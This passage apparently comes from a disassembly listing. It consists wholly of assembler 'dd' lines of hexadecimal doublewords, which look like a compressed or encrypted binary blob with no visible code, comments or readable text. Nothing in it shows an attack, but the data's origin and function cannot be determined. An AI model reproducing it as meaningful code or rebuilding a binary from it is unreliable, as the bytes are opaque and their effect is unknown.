		dd 0E5AD416Bh, 61C04368h, 63221850h, 95306B57h,	350DB918h
		dd 6806CBCAh, 31A3065Fh, 246D7244h, 82CF7001h, 6DBD3F67h
		dd 42FE9642h, 0E230BC37h, 0ED50A739h, 56425622h, 68E06D4Dh
		dd 38912C5Eh, 0F59FE3ADh, 73290975h, 61A26014h,	0BDAC2C09h
		dd 67516EDFh, 0C79E383h, 25513BABh, 80B1CA27h, 0A82E214Dh
		dd 66673AC2h, 0F2AE562Ch, 2B43AB21h, 6E52DAC7h,	514C759Dh
		dd 79C9B562h, 460A2843h, 4524175Dh, 2421460Fh, 19D55056h
		dd 2E41203Ah, 3C2902B8h, 36E148E6h, 6B6B5A4Dh, 9CAA89DAh
		dd 0DB8C2008h, 53099066h, 0D54D5036h, 5165EC54h, 68D98657h
		dd 167246F4h, 22615369h, 24E24AC0h, 4D62D460h, 9241E4CDh
		dd 0F6790C9Fh, 6C7C064Eh, 6553E6A0h, 994F7024h,	766F4E03h
		dd 4C7ACF44h, 85A540Ch,	5C74F647h, 4D745C4Ch, 762E5741h
		dd 1C032403h, 8414AA75h, 0EA575010h, 5D4CBA64h,	611F274Dh
		dd 0D8429E67h, 2331E878h, 724E513Bh, 4611A6E1h,	829461Ch
		dd 53CD4410h, 0D0A01831h, 34420238h, 0C4408D4h,	430C033Fh
		dd 1D407809h, 6E0840A8h, 0D98B0740h, 2272E611h,	7177484Dh
		dd 12DC4792h, 0D541B018h, 7B788C07h, 1EE03CA4h,	0A4099080h
		dd 11736C14h, 26B27662h, 3C861790h, 0D9CF89A3h,	30830193h
		dd 0A125110h, 5509CB32h, 0D7A12E4Ch, 70CF2078h,	27B1EABh
		dd 0AEED41C8h, 497E4B38h, 158E0112h, 0BF090335h, 82104E51h
		dd 0ED43ACD0h, 190CA374h, 0B0131E8h, 8AD08C4h, 40545E02h
		dd 9C828D0h, 7056B810h,	0DA1458CAh, 34684405h, 70342E14h
		dd 9064058Ah, 9408186Dh, 8738ACA0h, 6FC8E488h, 44E8E023h
		dd 0FC80F014h, 1E148801h, 29D0118Fh, 48891420h,	1A381FADh
		dd 483E6848h, 3CD06047h, 71286834h, 480B4C3Ch, 10D4440Ch
		dd 0CAFCD09Ch, 815C941Eh, 781C702Ch, 0FDBC9087h, 1919C0Ah
		dd 404DF782h, 480A0B6h,	50A51EF8h, 1440E811h, 1F4808h
		dd 22540EB9h, 686B4C0Ch, 20D0A056h, 0F1221CE2h,	8211C07h
		dd 8C470ADh, 7803448Ch,	958E1CCh, 5378A638h, 98151C4Eh
		dd 1889C1Fh, 5618D89Ah,	548074D8h, 28A50B98h, 286A1234h
		dd 0E88AAC22h, 688A6C1Eh, 2008AC38h, 481148A5h,	70A5C0BCh
		dd 0D4BC7091h, 989128A5h, 0B4CE8BCh, 282AE5DCh,	0E109AC10h
		dd 291E20A0h, 0C0941C36h, 2104F7B8h, 0E5FC216Eh, 10286B28h
		dd 1C0A0C10h, 0E6140223h, 0B0311968h, 216C0811h, 0E19144Ah
		dd 0D210192Bh, 0D5556C74h, 32535701h, 2ECC335Fh, 0E6C5E64h
		dd 450BB0FAh, 3C548E41h, 0D51C98E4h, 3E709C01h,	6B636981h
		dd 79756F43h, 2990F7Fh,	72650151h, 8935079h, 6EF4D166h
		dd 19ADF663h, 5F9AC11Eh, 8646331Ah, 12266771h, 0FB90579h
		dd 730C5346h, 44336D50h, 0E6632C69h, 0B841FA44h, 4C16818Eh
		dd 0CF2ED8EEh, 0B8586DC2h, 537A0349h, 8B70E1EFh, 484D0230h
		dd 0C379429Ch, 576F545Eh, 0C61864C3h, 0ABC06168h, 92525402h
		dd 0CE6CFE46h, 430E2E55h, 0F6736FE7h, 6460CC48h, 5703971Fh
		dd 0F5B2A372h, 8F5B1B4Fh, 732C9954h, 4EC627CFh,	50649F80h
		dd 28CD7069h, 0CD145C4Dh, 42EC2126h, 6F4D0D75h,	1114C664h
		dd 422A271Ah, 29E83336h, 3DBD4618h, 233F2564h, 71B8DF44h
		dd 90390969h, 211B264Fh, 2CA55886h, 54905B10h, 9E0A532Fh
		dd 1D0E23BCh, 1283A741h, 50337562h, 86C58973h, 1AB58226h
		dd 85DE43BEh, 41751F10h, 581D59E7h, 18A5BB08h, 0FA31FA9h
		dd 3ED32A38h, 78524E7Dh, 0C9557059h, 72088A10h,	0A691173h
		dd 76214482h, 0B26F500Eh, 47019737h, 9E424C02h,	0AE444276h
		dd 75995B23h, 64799E3Eh, 11E8848Fh, 1AF01821h, 63BE4902h
		dd 6F1D3652h, 704DD841h, 2C0B26AEh, 651B827Ah, 597CC5CEh
		dd 85E0D648h, 4455A67Ah, 8919892h, 8ECFAF2Fh, 0C5A13264h
		dd 9177B324h, 0CCC2CA82h, 26E1EA4Dh, 0CE664F67h, 4802E025h
		dd 814E2647h, 796E555Dh, 0F91E629Eh, 4C109101h,	3650E51h
		dd 705E30B0h, 77F26956h, 0FA664F24h, 36C45E64h,	914E103Ch
		dd 1335EDF6h, 0AD2467B8h, 99522014h, 0A8A15D50h, 3460650Eh
		dd 997CA932h, 0C64B25Dh, 0B5A3AB70h, 53CBA2E2h,	3BCDDF44h
		dd 0E04B940Eh, 489ACBC9h, 5070CA83h, 21689232h,	51641252h
		dd 596435A1h, 872C8F59h, 267F7F02h, 8C71A26Bh, 0EE754C20h
		dd 4620F56Ch, 45D49974h, 4338043Ah, 0E769C675h,	5F52378Ch
		dd 703390A0h, 5622DF50h, 7349C190h, 0D6C26C75h,	9A2093FAh
		dd 5E6AFA4Dh, 7552A70Ch, 1AAFD5CBh, 7C4231CEh, 2D49B427h
		dd 4F028C9Fh, 1CAC6E92h, 0A2723B52h, 3DD56149h,	7094E8BDh
		dd 858B3079h, 15616804h, 25324A8h, 624F22B0h, 0B0F3926Ah
		dd 49968EE0h, 7822024Dh, 5E825258h, 19CAFF64h, 299A9072h
		dd 8B74766Fh, 0D1140389h, 0E699DC90h, 7C0C0A6Eh, 36196F92h
		dd 92677289h, 4A485129h, 726C5938h, 0A5E6DF32h,	4D32672Ch
		dd 67129170h, 44178232h, 4D16C672h, 48020618h, 4D4170EEh
		dd 0B468386Ch, 0AA8AAC0Ch, 42CC5C32h, 964F7426h, 16335C77h
		dd 5AF028D8h, 4CAA6F7Eh, 6C7D4Ah, 0E4ACBE5Ch, 0AA10168Ch
		dd 117CC242h, 1E55AF50h, 0F2A05D12h, 5783AC70h,	0F359BC08h
		dd 0A974F649h, 9A23DEBBh, 950A0D9h, 56C44123h, 0D5A51261h
		dd 5A0A5095h, 0D6B39251h, 90457936h, 844C590Eh,	5603786Ch
		dd 0BBD056B8h, 230E2BDEh, 2C2C3885h, 427309A4h,	0F7195A0Bh
		dd 287CB850h, 0EEFDDA9Dh, 7C4552E1h, 0AB12B257h, 42891A4Eh
		dd 4392614Ch, 0BA260265h, 0A73B3454h, 38571010h, 29C252FCh
		dd 2838CF50h, 416C0CF5h, 448B2C1Ah, 45284F01h, 62590C4Dh
		dd 9968266Eh, 0D564756Eh, 0CE6058D0h, 93A314EDh, 0EE29223Ah
		dd 0E624DB1Ah, 1BFA144Dh, 9D4F8219h, 58A42218h,	64936E19h
		dd 248AA61Ch, 64C58AB1h, 61319Dh, 79C4CC32h, 3DB20D70h
		dd 10043F0Dh, 12B5F64Ah, 2CA921D3h, 0E5654221h,	34ECB01Dh
		dd 3C446814h, 0C9663842h, 3D2865C1h, 0ACFD2411h, 25889329h
		dd 4E87992Ah, 4910260Ah, 1005EC9Ah, 0D03E1005h,	0B893BB7Eh
		dd 0E54C3438h, 0E4011E92h, 5A35598Ch, 8964412h,	303F68D2h
		dd 2CFA9D4Eh, 0BF01D0A8h
		dd 36B683AFh, 4EA58140h, 9C40885h, 0E2147042h, 21E04166h
		dd 7208CC62h, 0E7E403D9h, 171871E5h, 100C4ADAh,	61E4E7F5h
		dd 0C9650201h, 49C02A28h, 0EF202962h, 6FC464C9h, 776DF673h
		dd 0FB6CE41Fh, 0BB021E8Eh, 4FF8FB3Ch, 560C1F44h, 3F15B177h
		dd 6419505Fh, 4BF0254Ah, 732F0242h, 2E296365h, 53873CBFh
		dd 59FB6E65h, 4F3A9F43h, 3E65253Ch, 2870112Eh, 0E90195Eh
		dd 0EC0C496Dh, 18AE6B63h, 6E5379FCh, 6930A798h,	0AD706D63h
		dd 7113AF5Dh, 0C74F73F3h, 8DBD5B89h, 915B74BFh,	2B504916h
		dd 0DF2E0F93h, 476D137Ah, 642520DBh, 751E5262h,	54CF8F72h
		dd 682AF48Eh, 0AAE60194h, 658504AEh, 0D15D5394h, 7328C681h
		dd 1F406A6Eh, 0BD2DCA23h, 29484D3Dh, 49F26447h,	0E1C928D4h
		dd 8AB26744h, 452EBBh, 0DE543AF9h, 0FEC7E316h, 0C4F870B6h
		dd 0E0616634h, 2C786453h, 0F4E97252h, 9B99502Fh, 904C5B65h
		dd 0AF52E548h, 3C912F3Eh, 0B42F23EDh, 4C74343Ch, 91FA0663h
		dd 622F968h, 3B0269BAh,	0E14D86F7h, 741EEB35h, 52163AD2h
		dd 1623ED10h, 0E4500BBDh, 2A6168Ah, 57090869h, 7850F70h
		dd 4F0D0233h, 29E31C09h, 1B024C07h, 455B09C0h, 0AE5D4353h
		dd 7002CA07h, 31460F14h, 2A60794h, 320D7154h, 55074AFBh
		dd 330D1340h, 950729EDh, 3E0D7302h, 9307D234h, 0D1308A1h
		dd 729ED35h, 0D750295h,	7D2363Eh, 53760299h, 29ED370Dh
		dd 77029507h, 0D2383E0Dh, 78029907h, 0ED390D53h, 2950729h
		dd 308FAD79h, 2D907D5h,	0FA14497Ah, 7B32C433h, 0DE193231h
		dd 6012C019h, 7E480F4Ch, 9B31A218h, 21033804h, 4322947h
		dd 0F1A803B5h, 49B33A2h, 47230338h, 0B3043429h,	72842403h
		dd 38049B35h, 29472503h, 3B30436h, 3772845Eh, 338049Bh
		dd 38294726h, 2A03B304h, 9B397284h, 28033804h, 4302947h
		dd 0AC2940B8h, 2DBD4414h, 885F428Ch, 883D91BBh,	1009512Bh
		dd 2B41545Bh, 0B2075D42h, 0F84E5102h, 1890B86h,	43942757h
		dd 4501440Bh, 75CF5199h, 0BA528914h, 240B1A20h,	0CDD5401h
		dd 1120B0Dh, 86BC4E59h,	5501890Bh, 0B432037h, 0CA490144h
		dd 520B6909h, 94F0126h,	910B6F52h, 0C0502601h, 1680BE8h
		dd 9ADCDB94h, 89FF9416h, 16C2DD01h, 968E7D70h, 9D61918Eh
		dd 531314EBh, 0B34D474h, 0B0B40157h, 220BA564h,	0CCA5BD01h
		dd 130B2966h, 9294701h,	1480B67h, 68094899h, 1440B4Ah
		dd 6A09CA4Ah, 126520Bh,	6B52094Bh, 3201910Bh, 946C094Ch
		dd 0BA01890Bh, 0B3B0994h, 0C4143A8Ah, 0C42748DEh, 0B35A2822h
		dd 0A20BA110h, 4C585901h, 1D10BD0h, 632A925Bh, 1890B94h
		dd 439C6756h, 4201440Bh, 0C5C959B9h, 94E19F5h, 440B4A6Eh
		dd 9CA4D01h, 26520B6Dh,	5209BC01h, 3C2B0B2Ch, 23BE1114h
		dd 0A23E102Eh, 612F24BFh, 0DC1C3F2Eh, 7C185C89h, 88111CE1h
		dd 540A435Bh, 75D4C52h,	0A3CFF0CAh, 0E54E4957h,	53020776h
		dd 7420420h, 2815999Ah,	257D2C91h, 0E085250h, 9102CC07h
		dd 161F14A3h, 76B4B4Ch,	0BBCF5826h, 7CAFF68h, 0E8F1B3E9h
		dd 7E4D4F48h, 0B307AC45h, 47923141h, 64EDCF55h,	0D2EC6707h
		dd 0AC884544h, 4133EB07h, 0FF4EC7EFh, 0C1D507B5h, 0FFEF6B9Bh
		dd 679607D5h, 454CD041h, 59FB5446h, 7D2D6607h, 0A407B7D0h
		dd 52F40499h, 50486847h, 2D33CB07h, 574FE21Ah, 280733A0h
		dd 0F4149002h, 32DCAA4Dh, 9C586A07h, 39C2EF7Ch,	9681736Ah
		dd 0B96D882Ch, 0A2F0CE60h, 2C59E76Bh, 73605960h, 44E19D9Ch
		dd 0DD64A261h, 396244E1h, 634314DEh, 6444E19Dh,	4314DE39h
		dd 44E19D65h, 14DE3966h, 0E19D6743h, 0DE396844h, 9D694314h
		dd 0CE6E44E1h, 0AC3A4EA8h, 79256B3Eh, 0B79643F8h, 427025F1h
		dd 5564E85Bh, 4FA032Dh,	4A5D333Ah, 13FCE32Fh, 88666261h
		dd 0CD82D320h, 1A95B70Fh, 0D214145Eh, 0EB78EBF3h, 0BAC66CDDh
		dd 0F0180919h, 676E1AA4h, 1957A465h, 0FD3D7367h, 10A1F85Ch
		dd 0C976045h, 0B80809C8h, 2E553A44h, 1550AF97h,	2C3A0A70h
		dd 21437618h, 901F40F2h, 8725FC24h, 213F5EE4h, 0F2AF926h
		dd 437E2DC8h, 1F2FF22Bh, 3DFC5C90h, 3F3FE487h, 60F92721h
		dd 7E7EC80Fh, 2EF12043h, 58C73F61h, 0A1C81709h,	0F21D918h
		dd 437E40C8h, 1F25F224h, 26FC5E90h, 3F2AE487h, 2BF92D21h
		dd 7E2FC80Fh, 3DF25C43h, 0FC3F901Fh, 60E48727h,	0F97E213Fh
		dd 2EC30F20h, 8876469h,	0F22C435Eh, 40901F21h, 0E48724FCh
		dd 5E213F25h, 0C80F26F9h, 2D437E2Ah, 901F2BF2h,	875CFC2Fh
		dd 213F3DE4h, 0F27F93Fh, 437E60C8h, 1F20F27Eh, 61682E83h
		dd 0A98B9D73h, 1843B094h, 901F24B2h, 952EFC25h,	0C3DCB489h
		dd 1D526021h, 0E32E9618h, 8760B679h, 3F246418h,	2EF82521h
		dd 21C48778h, 0F924213Fh, 0A5D30F25h, 88180B75h, 24437E21h
		dd 1F25F2h, 4B444320h, 0AED7965h, 0FB4F4AC4h, 1423D60Ah
		dd 98301D1h, 4B43494Eh,	0A0185C42h, 4345504Fh, 0AFAA452h
		dd 5C187205h, 0C355629Dh, 4931AF0Ah, 4FDD4352h,	0F1CA47BDh
		dd 55181160h, 88484A53h, 41508702h, 5C181A53h, 7961701Ah
		dd 549BBE06h, 0CA593003h, 54184C06h, 2E083084h,	746D6F63h
		dd 4F432E08h, 0DADEF24Dh, 6F432D07h, 0C2696B13h, 87189E3Ah
		dd 0FA74CB01h, 466808A0h, 1EB8DD0Fh, 156D4F42h,	6E730314h
		dd 0BC8C6669h, 0C22BEDCAh, 0C85E766Ah, 704885D4h, 730E7553h
		dd 4D636970h, 0FE380E6Fh, 0B2F1D94Bh, 0D26DB89Eh, 3E669E0Eh
		dd 2E112D32h, 534844F2h, 0DE4638CBh, 0FAA01950h, 41535707h
		dd 74638149h, 0B83E3A6Ch, 62AC5091h, 4C23ABB4h,	6948177Ah
		dd 5402D1h, 4B5B10EBh, 0B966C933h, 800001FAh, 0E2990B34h
		dd 7305EBFAh, 0EFC99DE8h, 206F362h, 0A938FDC6h,	0D9121C0Fh
		dd 85E9C795h, 91F17334h, 9DF36ED0h, 271C018h, 0FC607B29h
		dd 0EAB6EAAh, 60EAEEA7h, 8F66CDC6h, 19711228h, 18061B43h
		dd 10980975h, 0E0F1CD3Ah, 89CF660Dh, 0D903CDC9h, 8D168105h
		dd 0E6F14112h, 5D98289Dh, 4B9D4F9Bh, 89F35580h,	2AC0CAC8h
		dd 0EC591C81h, 0FAF100D3h, 1099FDF4h, 1A00A9FFh, 0A514CD75h
		dd 38CF3BDh, 647B32C0h,	89CBDD5Fh, 0A0F679Bh, 2CC510A4h
		dd 88D509D1h, 2BCE14C9h, 2C8CCCDh, 89861F3h, 1A9EF66h
		dd 95A09DCFh, 12A866FEh, 85639D91h, 0D0C89506h,	0E6A5DC12h
		dd 0E1B107CDh, 0A3CB4C9Ah, 6CB0B9EBh, 0D01F50AAh, 5C5D34D8h
		dd 279642C0h, 74FA389h,	525891EDh, 0D943E094h, 0A2036872h
		dd 0C37EEC86h, 0E9BD9312h, 95D8FF44h, 8512C8D2h, 529C6C3Fh
		dd 0C0C70A32h, 30BB715Ah, 97D71702h, 67EB7500h,	40348F2Ah
		dd 7657399Ch, 52F97901h, 0ECA26574h, 75FE6C90h,	0E33603Eh
		dd 5C5FE07Eh, 5A40A022h, 7D44844Ah, 9595870Ah, 40C324FEh
		dd 410FBCF3h, 89BEA8Ah,	6A1F87EDh, 3F9AE794h, 8DD70062h
		dd 0CECF74AAh, 0C0A6FAC8h, 97F36B19h, 3F516AC0h, 1AC6D49Fh
		dd 0DC9D5E06h, 1C10707Bh, 945412C7h, 5A0E9FDFh,	588A7848h
		dd 0DFA520C5h, 0FDA4A880h, 7C9BF3EFh, 12996F1Eh, 900163C9h
		dd 0EC975F1Ah, 20F9F349h, 18B1E7Ch, 0CFCB941Ah,	4065CE66h
		dd 9CF341D5h, 0A9ED26C8h, 0FC2C287Eh, 752CCC9Bh, 9E485E2Ah
		dd 59AA817Ah, 41DADE10h, 3607CE7Dh, 0DCD3669h, 0D9A466Dh
		dd 7F879061h, 3EBB5FDDh, 10C03801h, 627B179Dh, 0C8A1CFD4h
		dd 0D901A506h, 0B5DF5EFFh
		dd 4814CE20h, 0A27FCCDEh, 5E7DB987h, 0B522A5F9h, 18F22A6Eh
		dd 0CB797A8Fh, 0A78BEFDBh, 0C97D08DCh, 0D5223584h, 8C8CC860h
		dd 0C3494B24h, 247735CCh, 67765104h, 0EDFCDE00h, 0F60EEBC9h
		dd 3DFDD8FAh, 98EA38BDh, 0F80CDA99h, 1246F3EDh,	1FD87F1Dh
		dd 0A6F0E1DCh, 0AE293637h, 0AF6D537h, 9EFBCF4Fh, 30E034FFh
		dd 6D256489h, 59BEB107h, 86B0F254h, 0F7F0FB24h,	0ADF548CEh
		dd 0E1E37AEAh, 7C94FAF8h, 0FE76EBE9h, 8CA2FFF6h, 6B67F920h
		dd 53FF8502h, 5C76424Dh, 0C8951847h, 0FF128EDEh, 45B6FEh
		dd 20435002h, 0F54454Eh, 4B524F57h, 7776FA1Eh, 4D413C47h
		dd 30675759h, 0AD4E974Ch, 0F60B1506h, 0B5A25A37h, 6B08C77Ch
		dd 75C67F67h, 330C1E70h, 5161312Eh, 3248C54Dh, 0BC11AB58h
		dd 2E769F33h, 6E54F216h, 306D3220h, 7596FA16h, 2190A452h
		dd 0BC079073h, 0EF0CE010h, 40E48B8h, 0F3120A11h, 0ED4C87Ch
		dd 0A21B6980h, 0FDFCA05Eh, 970B204Ah, 0E0700882h, 6563A78Fh
		dd 616E4A25h, 0D3E6FEEh, 95777376h, 410230F2h, 3991030Ah
		dd 24B73582h, 872E3CB3h, 0DAF153CAh, 8C4B05Eh, 1EDA2220h
		dd 9FC85742h, 1C140359h, 0EC65A7B4h, 52E04E27h,	0F8D60840h
		dd 1008448Ch, 20A0CAE1h, 0E0888A15h, 4F4F4870h,	19813490h
		dd 0F27A006Ah, 281C49E4h, 250530AFh, 53671074h,	5CB2E62Fh
		dd 1A75E091h, 430454D9h, 10445CE0h, 5BDA31BEh, 32622604h
		dd 3610CE89h, 956F3808h, 39303278h, 13477E49h, 28D6A243h
		dd 0FE1013Fh, 43686428h, 0DC08A0A2h, 0FB068204h, 0DE71D018h
		dd 16E00EE0h, 9F1317A6h, 0A08A0201h, 2D3A0189h,	11031A02h
		dd 526C9091h, 3CD461DEh, 6315701Ch, 849CE2BDh, 246B2570h
		dd 0C6A76750h, 1C4EFB54h, 4C295437h, 0D1CD26BFh, 0C0944659h
		dd 45C9D450h, 51C46F3h,	71030B0Dh, 9F8C72A3h, 0E70474B8h
		dd 6A0640B4h, 39192800h, 11D0B10Ch, 5A8709Bh, 2ED94FC0h
		dd 5D6040F5h, 1CEB8A88h, 9F11C909h, 2B4500E8h, 0AF604810h
		dd 0F40C0AD6h, 6042FCA8h, 0B90CA010h, 47A828A1h, 0E15EA8B1h
		dd 0C46A00Ch, 0B5418828h, 0F6ECB604h, 908469Dh,	18401495h
		dd 0CB707C58h, 80470110h, 0D15C0823h, 0EBF1489h, 1138578h
		dd 0E9A65BABh, 1012E14Eh, 2F1822F8h, 0FEFF881Dh, 30CD0E44h
		dd 0CE7A4333h, 26120803h, 549B088Bh, 0EE0DB91Fh, 25B4BF05h
		dd 0C68212Fh, 11042620h, 109A0DADh, 0F24551Ch, 20DC88D8h
		dd 70420118h, 0B90F8410h, 468828A9h, 88A53C95h,	842102E4h
		dd 0F16C180Fh, 12010E19h, 7C2AA89Ah, 148D89E6h,	9D0103FAh
		dd 702D84ADh, 502758E9h, 45A37020h, 0DBB7F366h,	3315E7Eh
		dd 77E6755Bh, 73728D03h, 0F35D1C3Fh, 2E340CD9h,	0F1FE78F5h
		dd 9E466673h, 323C48E3h, 0AFB76B47h, 123E740Fh,	0F0F2FC70h
		dd 2B15123Ch, 843C0275h, 0FF766441h, 0E1AF6B5Dh, 69B77297h
		dd 34508378h, 42016C42h, 751CE13Ch, 6901BDC2h, 658554F3h
		dd 66EB6863h, 0A7BF2492h, 0DF1F3E0Bh, 1626710Ah, 4873758Fh
		dd 9F116F72h, 0C22F1729h, 0F0133CD5h, 74692B75h, 9E661E11h
		dd 9C2DDB70h, 443A7399h, 0EB67460Eh, 71B90406h,	821EEE38h
		dd 52637069h, 81660126h, 0FF071CECh, 0C85876E4h, 16D08D7Fh
		dd 9D586204h, 0ADA04922h, 6E14C0C9h, 0C5FA58B3h, 0A0E81D00h
		dd 0FDD0E544h, 24044843h, 58F80631h, 58002432h,	6445CCFDh
		dd 70B049h, 2C74AEDDh, 5E60D296h, 341C0D57h, 500F1970h
		dd 0A0211E7Ch, 96801C4Ch, 4D2A40F1h, 6AA611CEh,	0AF0B20E0h
		dd 93F4726Eh, 5241F853h, 0A34AC42h, 0BAADF00Dh,	0F4A80708h
		dd 360020Bh, 4D020408h,	0C4574F45h, 0C0A25730h,	2E0338C5h
		dd 293032D0h, 61189A28h, 0BD7A08B9h, 52C838B7h,	0D8184044h
		dd 48D81C95h, 0C4BCCC07h, 1BCD2838h, 85082964h,	0B6B92032h
		dd 10AB5674h, 0A6F9A5C8h, 0E4A4231Fh, 8FAA7CADh, 606474A0h
		dd 90495809h, 2044A86Ch, 0A5DCA478h, 91D823CCh,	0B64F0350h
		dd 8CFF2088h, 0EDF2CBBAh, 91486018h, 5669204h, 6C0209EEh
		dd 3C9710A4h, 0A7CB968h, 69B40C19h, 700E1C14h, 409398D8h
		dd 0A911D24Fh, 57BE1A3Dh, 0DC5821B2h, 8048588Eh, 138F4E8h
		dd 14433818h, 4602942h,	0C044F8A9h, 49873B7Ch, 0C581E438h
		dd 80031702h, 544AE90Eh, 508A0050h, 2857A6Fh, 0E848E4ADh
		dd 60233079h, 0D8BA8C4Bh, 610DDA21h, 2E0C2F20h,	0A978902Ah
		dd 28265871h, 9280E9DDh, 22486B2Eh, 1E0E4B68h, 0B8B0E5Fh
		dd 20A89014h, 5C9208A5h, 79E2F099h, 24A527FEh, 2D7DE832h
		dd 366C0634h, 0E5028D18h, 2BA4A22Eh, 20657863h,	182D9832h
		dd 0CCA12A88h, 28F85C02h, 16188C6Fh, 0D408007Dh, 0AA42E04Eh
		dd 8C0C3C08h, 2689104h,	7FFDE0CCh, 14340488h, 0A7EB0190h
		dd 18759F01h, 0A2139DC0h, 0B4609CF3h, 48E45A62h, 3BE1705Ah
		dd 5E6B97E7h, 7210333Ah, 0BAC8B884h, 0C0ADA4AAh, 0B8ACF4EFh
		dd 671AA5A9h, 53119B6h,	6527A53Eh, 0E7924FB3h, 0C7A59EB2h
		dd 641BB1B1h, 2FF84165h, 51069446h, 249C4B1Ah, 6923A974h
		dd 0B14A87A1h, 4942902Fh, 0F8200202h, 307362DFh, 0BCF02008h
		dd 0B46D6968h, 37133762h, 5AFC53D2h, 0FC508832h, 294A0FE1h
		dd 810C18FBh, 1D204480h, 54464B43h, 0DE77AB45h,	47407D0Dh
		dd 0A541FA84h, 0D1F62002h, 0A3B9021Ch, 3FBF5C02h, 478BE042h
		dd 504A4948h, 24EA64Bh,	5251504Fh, 0E0FD5453h, 9595818h
		dd 6362615Ah, 67667E00h, 6A046968h, 6E6D6C6Bh, 6071DB82h
		dd 2757477h, 79787776h,	0CB80307Ah, 36353433h, 39383705h
		dd 48632F2Bh, 0C4684B53h, 89A70143h, 10EDE8E6h,	0F6836FFh
		dd 63D61209h, 3E19F78Dh, 0A2E1EDB1h, 4761440h, 0D06B0F68h
		dd 0E2AACA2Bh, 110C9E15h, 97FAC43Fh, 7AD93087h,	0DB313E2Fh
		dd 99E1103Fh, 3E89D0FFh, 0F976B4E0h, 0A0B9C7D8h, 2FA4F310h
		dd 0D2FE315Eh, 0FF065398h, 8ED4BD56h, 9C4D432h,	0E00C6075h
		dd 0ECFCB760h, 4000FDADh, 837C588Dh, 53C430Eh, 93288B81h
		dd 5E63BB58h, 0B1EBC0Eh, 7724048Bh, 7C50F506h, 0D23FC373h
		dd 9932B964h, 0B8C62289h, 1F7F2732h, 4002B1C9h,	74AFF3DFh
		dd 0EB764303h, 101F7EF2h, 58C18F64h, 0BF60C361h, 8B182F32h
		dd 789C71Fh, 81F8E4EFh,	1FE9C75Ah, 39F9077Bh, 0F1047419h
		dd 0E9F8EB09h, 0E75AE9FAh, 52DB05DBh, 0C7F6C7F7h, 0BE4AE511h
		dd 1FD0CC1h, 0CA16E8Ah,	1C400E36h, 1E6E586Ch, 310756BDh
		dd 0BF04460Eh, 246C8F9Ah, 3C45C728h, 3E0554F3h,	4A9FEA8Ch
		dd 205A0F18h, 38E3EB01h, 0F734ED49h, 0FF31EEC0h, 0ACFC95A0h
		dd 7407E0FAh, 0DCFC107h, 0C1BBC7F5h, 0C4247C42h, 48DDE175h
		dd 326676A0h, 1C124B0Ch, 5431BF08h, 0DD4789E8h,	0C7FB61B4h
		dd 5C64EB6Fh, 0F254FA80h, 0E8FCD8A0h, 5DA0F99Eh, 0F2EF7C44h
		dd 85F814Fh, 0C00E8E2Eh, 9984AC99h, 0C202CAB7h,	0C7D85D29h
		dd 5B44E368h, 209D30CFh, 5C6689FCh, 505AC332h, 7630B264h
		dd 0F783585h, 705D030Eh, 68F0AD1Ch, 0B51E908h, 534FC5Fh
		dd 68087C50h, 315F3C00h, 0EB5660F6h, 48EFF20Dh,	167E72CEh
		dd 0EE8AFE98h, 0E8E7CF02h, 923374EEh, 3868F623h, 9C2BB906h
		dd 2490501h, 13487BA0h,	4360D8A1h, 102203DCh, 0DC9006EBh
		dd 71B19822h, 0DE66952Fh, 6D6302C5h, 8BEB2CC7h,	583F37ADh
		dd 37B05845h, 78956DFAh, 2EAECE6Ah, 5F707822h, 688D80AFh
		dd 274E9B4Ch, 150E9F3Eh
		dd 99A7AD20h, 0CD278BC5h, 2ADEE9A1h, 7BA1CFA7h,	1069249Dh
		dd 1938FACh, 564952EDh,	7B3DD045h, 4C515312h, 7C7DC998h
		dd 1422D03Bh, 0D42C5666h, 493755FAh, 50721544h,	5707AF57h
		dd 64615C21h, 65DDA12Ah, 0C59C615Ch, 73444174h,	0FAC52461h
		dd 0B2C93309h, 80812935h, 138C13Ch, 1AC70183h, 0DA321F8Ah
		dd 0E247D088h, 16DEF700h, 30375C4Fh, 0CD6C0059h, 0B9EBA928h
		dd 450379E4h, 12C536E1h, 3D058815h, 7660E62h, 1B63066Ah
		dd 34887971h, 0DD1830DEh, 6802CACCh, 1FD800B6h,	516C055Fh
		dd 75E434BEh, 451E3975h, 4D419829h, 96AB83Dh, 7E342EFCh
		dd 0C76E7BCEh, 0A7297E0Bh, 1166E3CCh, 64A1CFFBh, 15249067h
		dd 7FC0416h, 0B6ACF539h, 0CB3E6401h, 0E4F70799h, 40D0B1D7h
		dd 0E833AC2h, 71B83070h, 0C533181h, 0D5D4F525h,	6D6FD404h
		dd 65636B03h, 0F07B1E67h, 1823A74h, 31BE7F39h, 80CD34BDh
		dd 0BC307846h, 63EDB871h, 8B400ECBh, 41310A08h,	0C0171F14h
		dd 0CA662D68h, 0F24CBCE5h, 0BD6D198Ch, 42CCB584h, 4124CE3Fh
		dd 21135EE0h, 9CA84DDCh, 418FBBCh, 630366EEh, 4A80E573h
		dd 536D60A2h, 5F3B05BCh, 7A62BE25h, 637BE118h, 0F966F90Dh
		dd 0B80C3216h, 1065BD70h, 28FBFBD1h, 85DD0Ah, 66A13930h
		dd 4D501B5Dh, 5669D4E5h, 1951583Eh, 0F93EE704h,	2B062D9h
		dd 34F3CB8Eh, 0E267C73Dh, 83654D1Eh, 613D8432h,	0FBCB9C24h
		dd 75C3B367h, 0EEE0E6D9h, 69C0E1D5h, 3208CE7Ah,	479B0B33h
		dd 6209C87Ch, 3689D579h, 0F8EFFC70h, 2FE33072h,	982E30F4h
		dd 9C51486Ch, 55A24Bh, 20353234h, 266E6143h, 0C9387427h
		dd 7FDE297Fh, 0BA5270AFh, 512ED732h, 407925ECh,	76120BE9h
		dd 2BFFFA40h, 4B7C7CE4h, 4CA42F7Ch, 70E76CB7h, 57D47294h
		dd 0ED4212AFh, 42054EA2h, 76107563h, 0EE72CF1Dh, 64F4DF6Dh
		dd 6D86C884h, 6962F92Ah, 0FF36A840h, 4FC0E22Bh,	0FB8D92B1h
		dd 0B0A2706Dh, 3531F742h, 0D9C99730h, 423C406Eh, 411A4E49h
		dd 56C5952h, 0A52A65CEh, 520EA443h, 8745445h, 1FE23228h
		dd 0BE4F5020h, 0C6AD48D1h, 733D6EF8h, 46BD4A75h, 0DE9B14Fh
		dd 19DB35CDh, 78189A03h, 2A142504h, 5E5B2E90h, 0AD5D722Ch
		dd 0CE0A6706h, 0AD705814h, 4C934CB0h, 54534924h, 3D685059h
		dd 0FF0F124Fh, 83099424h, 0EA121370h, 0FDFF9364h, 0ABFCF616h
		dd 7CD02E4Ch, 5694E04Bh, 5425B8A5h, 294A29A1h, 0AE499549h
